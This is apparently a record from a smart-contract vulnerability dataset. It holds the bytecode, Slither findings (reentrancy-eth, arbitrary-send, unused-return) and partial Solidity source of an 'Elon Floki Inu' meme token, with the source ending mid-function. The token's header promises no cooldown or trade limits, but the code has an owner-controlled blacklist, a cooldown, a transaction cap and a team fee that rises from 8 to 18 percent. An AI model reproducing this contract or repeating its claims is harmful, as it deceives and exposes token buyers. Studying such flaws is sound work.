fffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe4565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe4565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f53484f444c000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe4565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133ba565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe4565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613064565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612971565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612971565b6040518363ffffffff1660e01b8152600401610e1f929190612e34565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612971565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e86565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1d565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5d565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acb565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe4565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa4565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a4565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613044565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f64565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613024565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f24565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613004565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613084565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131da565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f02565b60405180910390fd5b5060008385611c8a91906132bb565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f44565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612971565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130bf565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613261565b90508284826121509190613230565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc4565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f02565b60405180910390fd5b50600083856122939190613230565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124228161261e565b61242c84836126db565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a4565b60405180910390a3505050505050505050565b60066008819055506006600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252b8a6002600a612715565b925092509250600061253b612212565b9050600080600061254e8e8787876127ab565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125cf91906131da565b905083811015612614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260b90612f84565b60405180910390fd5b8091505092915050565b6000612628612212565b9050600061263f828461212090919063ffffffff16565b905061269381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f08260065461257690919063ffffffff16565b60068190555061270b816007546125c090919063ffffffff16565b6007819055505050565b6000806000806127416064612733888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276b606461275d888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279482612786858c61257690919063ffffffff16565b61257690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c4858961212090919063ffffffff16565b905060006127db868961212090919063ffffffff16565b905060006127f2878961212090919063ffffffff16565b9050600061281b8261280d858761257690919063ffffffff16565b61257690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284761284284613159565b613134565b9050808382526020820190508285602086028201111561286657600080fd5b60005b85811015612896578161287c88826128a0565b845260208401935060208301925050600181019050612869565b5050509392505050565b6000813590506128af81613797565b92915050565b6000815190506128c481613797565b92915050565b600082601f8301126128db57600080fd5b81356128eb848260208601612834565b91505092915050565b600081359050612903816137ae565b92915050565b600081519050612918816137ae565b92915050565b60008135905061292d816137c5565b92915050565b600081519050612942816137c5565b92915050565b60006020828403121561295a57600080fd5b6000612968848285016128a0565b91505092915050565b60006020828403121561298357600080fd5b6000612991848285016128b5565b91505092915050565b600080604083850312156129ad57600080fd5b60006129bb858286016128a0565b92505060206129cc858286016128a0565b9150509250929050565b6000806000606084860312156129eb57600080fd5b60006129f9868287016128a0565b9350506020612a0a868287016128a0565b9250506040612a1b8682870161291e565b9150509250925092565b60008060408385031215612a3857600080fd5b6000612a46858286016128a0565b9250506020612a578582860161291e565b9150509250929050565b600060208284031215612a7357600080fd5b600082013567ffffffffffffffff811115612a8d57600080fd5b612a99848285016128ca565b91505092915050565b600060208284031215612ab457600080fd5b6000612ac2848285016128f4565b91505092915050565b600060208284031215612add57600080fd5b6000612aeb84828501612909565b91505092915050565b600060208284031215612b0657600080fd5b6000612b148482850161291e565b91505092915050565b600080600060608486031215612b3257600080fd5b6000612b4086828701612933565b9350506020612b5186828701612933565b9250506040612b6286828701612933565b9150509250925092565b6000612b788383612b84565b60208301905092915050565b612b8d816132ef565b82525050565b612b9c816132ef565b82525050565b6000612bad82613195565b612bb781856131b8565b9350612bc283613185565b8060005b83811015612bf3578151612bda8882612b6c565b9750612be5836131ab565b925050600181019050612bc6565b5085935050505092915050565b612c0981613301565b82525050565b612c1881613344565b82525050565b6000612c29826131a0565b612c3381856131c9565b9350612c43818560208601613356565b612c4c81613490565b840191505092915050565b6000612c646023836131c9565b9150612c6f826134a1565b604082019050919050565b6000612c87602a836131c9565b9150612c92826134f0565b604082019050919050565b6000612caa6022836131c9565b9150612cb58261353f565b604082019050919050565b6000612ccd601b836131c9565b9150612cd88261358e565b602082019050919050565b6000612cf0601d836131c9565b9150612cfb826135b7565b602082019050919050565b6000612d136021836131c9565b9150612d1e826135e0565b604082019050919050565b6000612d366020836131c9565b9150612d418261362f565b602082019050919050565b6000612d596029836131c9565b9150612d6482613658565b604082019050919050565b6000612d7c6025836131c9565b9150612d87826136a7565b604082019050919050565b6000612d9f6024836131c9565b9150612daa826136f6565b604082019050919050565b6000612dc26017836131c9565b9150612dcd82613745565b602082019050919050565b6000612de56011836131c9565b9150612df08261376e565b602082019050919050565b612e048161332d565b82525050565b612e1381613337565b82525050565b6000602082019050612e2e6000830184612b93565b92915050565b6000604082019050612e496000830185612b93565b612e566020830184612b93565b9392505050565b6000604082019050612e726000830185612b93565b612e7f6020830184612dfb565b9392505050565b600060c082019050612e9b6000830189612b93565b612ea86020830188612dfb565b612eb56040830187612c0f565b612ec26060830186612c0f565b612ecf6080830185612b93565b612edc60a0830184612dfb565b979650505050505050565b6000602082019050612efc6000830184612c00565b92915050565b60006020820190508181036000830152612f1c8184612c1e565b905092915050565b60006020820190508181036000830152612f3d81612c57565b9050919050565b60006020820190508181036000830152612f5d81612c7a565b9050919050565b60006020820190508181036000830152612f7d81612c9d565b9050919050565b60006020820190508181036000830152612f9d81612cc0565b9050919050565b60006020820190508181036000830152612fbd81612ce3565b9050919050565b60006020820190508181036000830152612fdd81612d06565b9050919050565b60006020820190508181036000830152612ffd81612d29565b9050919050565b6000602082019050818103600083015261301d81612d4c565b9050919050565b6000602082019050818103600083015261303d81612d6f565b9050919050565b6000602082019050818103600083015261305d81612d92565b9050919050565b6000602082019050818103600083015261307d81612db5565b9050919050565b6000602082019050818103600083015261309d81612dd8565b9050919050565b60006020820190506130b96000830184612dfb565b92915050565b600060a0820190506130d46000830188612dfb565b6130e16020830187612c0f565b81810360408301526130f38186612ba2565b90506131026060830185612b93565b61310f6080830184612dfb565b9695505050505050565b600060208201905061312e6000830184612e0a565b92915050565b600061313e61314f565b905061314a8282613389565b919050565b6000604051905090565b600067ffffffffffffffff82111561317457613173613461565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e58261332d565b91506131f08361332d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322557613224613403565b5b828201905092915050565b600061323b8261332d565b91506132468361332d565b92508261325657613255613432565b5b828204905092915050565b600061326c8261332d565b91506132778361332d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b0576132af613403565b5b828202905092915050565b60006132c68261332d565b91506132d18361332d565b9250828210156132e4576132e3613403565b5b828203905092915050565b60006132fa8261330d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061334f8261332d565b9050919050565b60005b83811015613374578082015181840152602081019050613359565b83811115613383576000848401525b50505050565b61339282613490565b810181811067ffffffffffffffff821117156133b1576133b0613461565b5b80604052505050565b60006133c58261332d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f8576133f7613403565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a0816132ef565b81146137ab57600080fd5b50565b6137b781613301565b81146137c257600080fd5b50565b6137ce8161332d565b81146137d957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122001dab57020f767299bf9c1a559fae5b87f26526da23f49705b7e5583cb60aaa564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,756 |
0x83a72e5bc7450b384d5d8378d6206eff6e90f163
|
/**
___ __ __ _ _ ___ __ __ _ _ __ __ _ _ _ _
( _)( ) / \( \( ) ( _)( ) / \( ) ) ( ) ( )( \( )( )( )
) _) )(__( () )) ( ) _) )(__( () )) \ )( )( ) ( )()(
(___)(____)\__/(_)\_) (_) (____)\__/(_)\_)(__) (__)(_)\_) \__/
Welcome to Elon Floki Inu!
Elon called the Floki today.
"My Shiba Inu will be named Floki" Fron Elon Musk
https://twitter.com/elonmusk/status/1408380216653844480?s=20
Going to make a ElonFlokiInu after few hours.
Fair launch!!!
No cooldown, No buy or sell limit
Join to https://t.me/FlokiElonInu
Follow https://twitter.com/ElonFlokiToken
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ElonFlokiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Elon Floki Inu \xF0\x9F\x90\xB6";
string private constant _symbol = "eFlokiInu \xF0\x9F\x90\x95";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 18;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
